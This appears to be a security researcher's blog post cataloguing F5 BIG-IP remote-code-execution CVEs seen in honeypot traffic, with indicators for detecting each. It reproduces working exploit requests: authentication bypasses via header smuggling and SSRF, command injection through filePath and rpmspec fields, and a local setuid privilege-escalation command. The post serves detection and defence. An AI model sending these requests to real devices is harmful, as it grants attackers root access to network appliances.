The Confusing History of F5 BIG-IP RCE Vulnerabilities

Since 2020, a bunch of different vulnerabilities have come out in F5 BIG-IP - let’s create a clean record of which one’s which, and what they mean when you see them in logs!
f5
big-ip
vulnerabilities
honeypot
cve
cve-2023-41800
cve-2021-22986
cve-2022-1388
cve-2021-23015
Author

Ron Bowes

Published

January 19, 2024

As you might know from this recent post, I’m a bit of a nerd when it comes to F5 BIG-IP vulnerabilities. That’s why, while reviewing logs from Sift, I was intrigued by this request:

POST /mgmt/shared/authn/login HTTP/1.1
Authorization: Basic Og==
Connection: Keep-Alive
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Host: <ip>:80
Qualys-Scan: VM
User-Agent: <ua-removed>

{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}

When I saw it, it had no tag, but seemed to be trying to perform a shell-injection attack against the filePath parameter in the F5 BIG-IP login page. Hmm!

While I didn’t recognize the specific request, it looked a bit like CVE-2021-22986, an SSRF issue that targets the same loginReference endpoint. I wondered for a moment whether it’s an 0-day, but then I noticed the Qualys-Scan header, and would have found it rather surprising if Qualys was blasting the internet with an 0-day (that’d be pretty rad, though!)

Since I didn’t personally work on CVE-2021-22986, I dug up the Metasploit module for it, written by none other than Will Vu. That code does contain references to loginReference:

  'loginReference' => {
    'link' => "https://localhost#{login_reference_endpoint}"
  },

But, nothing about filePath, which is where we see an apparent shell-injection issue being exploited. Hmm! The trail’s growing cold, but I kept digging. Checking the module’s references, I found wvu’s AttackerKB write-up for CVE-2021-22986. That blog does reference the filePath endpoint:

PoC

The affected endpoint is /mgmt/tm/access/bundle-install-tasks.

wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d ‘{“filePath”:“id”}’ | jq . { “filePath”: “id”, “toBeInstalledAppRpmsIndex”: -1, “id”: “36671f83-d1be-4f5a-a2e6-7f9442a2a76f”,

[...]

I wasn’t clear on why the write-up used the filePath nonsense and the exploit did not, so I decided to go onto the next step: interviewing witnesses! But would anybody remember what they did in checks post March of 2021? That’s nearly three years ago! The conversation went something like:

Ron @wvu Hey, I’m trying to untangle some weirdness in our F5 tags, and I’m trying to figure out what CVE-2021-22986 actually is. You did all the R7 write-ups, I don’t suppose you remember?)

wvu I actually revisited this a couple weeks ago

wvu Porting MSF modules to go-exploit :)

(185 more replies)

In that long conversation, we sorted out what’s what, and now I’m going to summarize it all here!

“I Can’t Believe They’re Not Vulns!”

Before we can really understand how an F5 BIG-IP vulnerability works, we need to understand a bit about some features of the platform that look suspiciously like vulnerabilities but kinda-sorta aren’t. You’ll see what I mean. :)

First, the Jetty server that listens on localhost-only. I wrote about it in the past and brandonshi123 wrote about it on y4y, so I’m not going to go too deeply into it. The short version is: F5 BIG-IP runs a Jetty server on localhost:8100 that handles API calls but doesn’t require authentication. That means that there’s a very short path between SSRF and RCE on this platform. Here, we can hit an admin-only endpoint if we connect to it via localhost (which an attacker, of course, can’t typically do):

# curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq
{
  "kind": "tm:ltm:pool:poolcollectionstate",
  "selfLink": "https://localhost/mgmt/tm/ltm/pool?ver=17.1.1",
  "items": []
}

Second, the /mgmt/tm/util/bash endpoint. The /mgmt/tm/util/bash endpoint is authenticated-RCE-as-a-service, but to this day is there by default. It’s just asking for trouble IMO, but at least it it’s easy to detect! Behold:

$ curl -ks 'https://10.0.0.38/mgmt/tm/util/bash' -u admin:admin -H 'Content-Type: application/json' --data-binary '{"command": "run", "utilCmdArgs": "-c id"}' | jq
{
  "kind": "tm:util:bash:runstate",
  "command": "run",
  "utilCmdArgs": "-c id",
  "commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
}

It requires authentication, but it runs code as root. That’s pretty awesome, right? You can even combine these two not-vulnerabilities into a.. local command execution? See for yourself:

# curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq                                                          
{
  "kind": "tm:util:bash:runstate",
  "command": "run",
  "utilCmdArgs": "-c id",
  "commandResult": "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
}

If nothing else, it’s built-in privilege escalation. If you’re on the host with any account, it’s trivial to upgrade it:

bash-4.2$ whoami
apache

bash-4.2$ curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c \"cp /bin/whoami /tmp/whoami && chmod +s /tmp/whoami\""}' >/dev/null

bash-4.2$ ./whoami
root

And, this all works in the latest version of F5 BIG-IP (which, as of this writing, is 17.1.1). Because these are either post-auth or localhost-only, they technically aren’t vulnerabilities.

Obviously, accessing that /bash endpoint is pretty suspicious, so I went ahead and updated the F5 BIG-IP iControl RCE Attempt tag, which used to detect several different things, to specifically track folks hitting that exact endpoint.

With that context in mind, let’s look at some other vulnerabilities!

I Can Believe These ARE Vulnerabilities!

Let’s go through a few different F5 BIG-IP vulnerabilities and look at what they actually are. If for no other reason, I wanted a good historical record that I can come back to some day.

I’m going to further separate the F5 BIG-IP vulnerabilities into two groups: pre-authentication and post-authentication. It’s weird to even talk about the post-authentication attacks, because, as you’ll see, they’re mostly indistinguishable from just using the /mgmt/tm/util/bash endpoint.

Pre-Authentication Vulnerabilities

Auth Bypass via Header Smuggling: CVE-2022-1388

GreyNoise Tag

CVE-2022-1388 is an authentication bypass issue due to header injection. The advisory is here and here, Metasploit module is here, and I wrote about it at length here.

Here’s what the attack looks like (taken directly from a request sent to one of our sensors):

POST /mgmt/tm/util/bash HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46aG9yaXpvbjM=
Connection: X-F5-Auth-Token
Content-Length: 44
Content-Type: application/json
User-Agent: <ua-removed>
X-F5-Auth-Token: asdf

{"command": "run", "utilCmdArgs": "-c 'id'"}

How to recognize CVE-2022-1388:

  • The Host header is set to localhost or 127.0.0.1
  • The authorization header contains a valid username and any password (in our example, the account is admin:horizon3 - I love that they’re using Horizon3’s literal exploit)
  • An X-F5-Auth-Token containing any value is present
  • A Connection header is set to X-F5-Auth-Token

What happens, in brief, is that the front-end (Apache) server sees that the X-F5-Auth-Token header is present, and sends it to Jetty for validation. The Connection header tells Apache to remove the X-F5-Auth-Token en route to Jetty (did you know the Connection header can do that?). The back-end sees a request the Host header set to 127.0.0.1 and with no X-F5-Auth-Token header and, as discussed above, permits the request with no authentication.

Once we have an authentication bypass, what do we do with it? In this exploit, it uses the /mgmt/tm/util/bash endpoint to run the id command. There’s no reason it has to use that endpoint, however - that’s just a convenient way to leverage an authentication bypass issue to run code.

Auth Bypass via SSRF: CVE-2021-22986

GreyNoise Tag

Next, we have CVE-2021-22986. This is where it’s already going to get a bit complex, because they apparently patched two different vulnerabilities under this one patch.

The first is the authentication bypass exploited by Will Vu’s Metasploit module. Here’s what a request hitting our sensor looks like:

POST /mgmt/shared/authn/login HTTP/1.1
Host: <IP_ADDRESS>
Connection: close
Accept-Encoding: gzip
Accept-Language: en
Authorization: Basic YWRtaW46
Connection: close
Content-Length: 103
Content-Type: application/json
Cookie: BIGIPAuthCookie=1234
User-Agent: <ua-removed>

{"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}}

How to recognize CVE-2021-22986:

  • A POST request to the login endpoint - /mgmt/shared/authn/login
  • A loginReference field in the body that points to localhost - a bunch of different endpoints can be used here
  • A userReference field must exist, though I’m not 100% clear on what it does

As far as I can tell, the BIGIPAuthCookie isn’t required, but setting it to 1234 in that example tells me that we’re probably looking at a scanner using Project Discovery’s data.

Exploiting CVE-2021-22986 gives you an authorized session. Like other vulnerabilities, the Metasploit module leverages the /mgmt/tm/util/bash endpoint to actually execute code, so you’d expect to see a request to that endpoint immediately after.

CVE-2021-22986 Bonus Vulnerability!

So now to add some confusion… here’s a different analysis with a different exploit.

Since the software is long gone, I haven’t been able to validate, but they appear to have patched a second vulnerability in the same patch! It seems that if you set an Authorization header as well as an empty X-F5-Auth-Token header, the request will be processed by the Jetty server just like CVE-2022-1388!

Since we weren’t previously tracking this, I added it to the CVE-2021-22986 tag. I did a query over the past seven days and found what appears to be two different exploits; the first is pretty similar to what we’ve already seen:

POST /mgmt/tm/util/bash HTTP/1.1
Host: <IP_ADDRESS>
Authorization: Basic YWRtaW46cG9jdGVzdA==
Connection: Keep-Alive
Content-Length: 42
Content-Type: application/json
Qualys-Scan: VM
User-Agent: <ua-removed>
X-F5-Auth-Token: 

{"utilCmdArgs": "-c id", "command": "run"}

And the second is somewhat interesting, because, while it still hits the /mgmt/tm/util/bash endpoint, it’s validating that the exploit works using a math operation - a bit of a CAPTCHA to try and catch honeypots:

POST /mgmt/tm/util/bash HTTP/1.1
Host: <IP_ADDRESS>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip
Accept-Language: en
Authorization: Basic YWRtaW46
Content-Length: 65
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: <ua-removed>
X-F5-Auth-Token: 

{"command":"run","utilCmdArgs":"-c 'expr 976910294 + 851620832'"}

Some Googling for expr next to the payload doesn’t find any obvious source for this. Interesting! I’d be curious what’s sending these requests (I removed the User-Agent, but it’s nothing telling).

Post-Authentication Vulnerabilities

Post-auth vulnerabilities are kinda weird, because of /mgmt/tm/util/bash. I guess it comes down to permissions or being able to configure security - these vulnerabilities allow users to execute code remotely who don’t necessarily have access to /mgmt/tm/util/bash. In any case, I want to call these out because they’re typically combined with one of the issues above. That’s where things get kinda confusing - these, alone, aren’t remote exploits; they require a valid password, session token, or authentication bypass!

Authenticated Code Execution via .rpmspec Injection - CVE-2022-41800

GreyNoise Tag

I actually found this vulnerability and wrote the disclosure, the Metasploit module, and even a recent blog here.

Here’s what a real-world exploit looks like (once again, this is from a real packet that hit one of our sensors):

POST /mgmt/shared/iapp/rpm-spec-creator HTTP/1.1
Connection: keep-alive, X-F5-Auth-Token
Content-Length: 249
User-Agent: <ua-removed>
Accept-Encoding: gzip, deflate
Accept: */*
Content-type: application/json
X-F5-Auth-Token: anything
Authorization: Basic YWRtaW46
Host: localhost

{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nsh -c 'echo kl7l 2>&1' > /var/iapps/www/a.txt;sh -c 'echo sdbiivzx 2>&1' >> /var/iapps/www/a.txt", "summary": "test9"}}

This one sticks out like a sore thumb, but the way to recognize it is:

  • A POST request to /mgmt/shared/iapp/rpm-spec-creator
  • A specFileData structure that contains newlines (\n) in the field, followed by a command
  • Some authentication method

In the example above, the Authorization and Connection: [...] X-F5-Auth-Token headers tells us that they’re using CVE-2022-1388 (see above) to exploit CVE-2022-41800.

See why this is confusing? :)

RCE via Command Injection - CVE-2021-23015

GreyNoise Tag

And now, the finale! This is where the very first paragraph finally pays off. :)

According to the disclosure, CVE-2021-23015 came out shortly after CVE-2021-22986. The details are limited, and as far as I can tell nobody ever did a write-up.

What is it?

Well, from what I can dig up, it’s actually the vulnerability that inspired this whole post:

POST /mgmt/shared/authn/login HTTP/1.1
Authorization: Basic Og==
Connection: Keep-Alive
Content-Length: 121
Content-Type: application/x-www-form-urlencoded
Host: <ip>:80
Qualys-Scan: VM
User-Agent: <ua-removed>

{"bigipAuthCookie":"","loginReference":{"link":"http://localhost/mgmt/tm/access/bundle-install-tasks"},"filePath":"`id`"}

Which somewhat lines up with this PoC, mentioned in the CVE-2021-22986 write-up:

wvu@kharak:~$ curl -ksu admin:[redacted] https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '{"filePath":"`id`"}' | jq .

It’s a post-authentication command injection issue. However, it can evidently be accessed via the SSRF issue (CVE-2021-22986) - we don’t have access to the software to validate that, all we can say is that somebody’s trying!

The story, apparently, is several different folks discovered CVE-2021-23015 while working on CVE-2021-22986, and it got patched shortly afterwards. As it was already discussed as part of CVE-2021-22986, and the same vulnerability could be exploited via the good ol’ /mgmt/tm/util/bash endpoint, nobody thought much of it.

But here we are, years later, seeing a PoC for that vulnerability being randomly fired at the internet.

Anyway, I rolled a new tag to track folks trying to exploit CVE-2021-23015 separately from the CVE-2021-22986 tag.

And, hopefully, that cleans up our F5 detection!

Conclusion

To summarize all that, here are the CVEs, descriptions, and a link to the tags (some of which are old, and some new):

CVE Description tag
CVE-2021-22986 Authentication Bypass via SSRF Tag
CVE-2022-1388 Auth Bypass via Header Smuggling Tag
CVE-2021-23015 Post-authentication RCE via Command Injection Tag
CVE-2022-41800 Post-authentication RCE via .rpmspec Injection Tag
n/a Post-authentication RCE via /mgmt/tm/util/bash Tag

References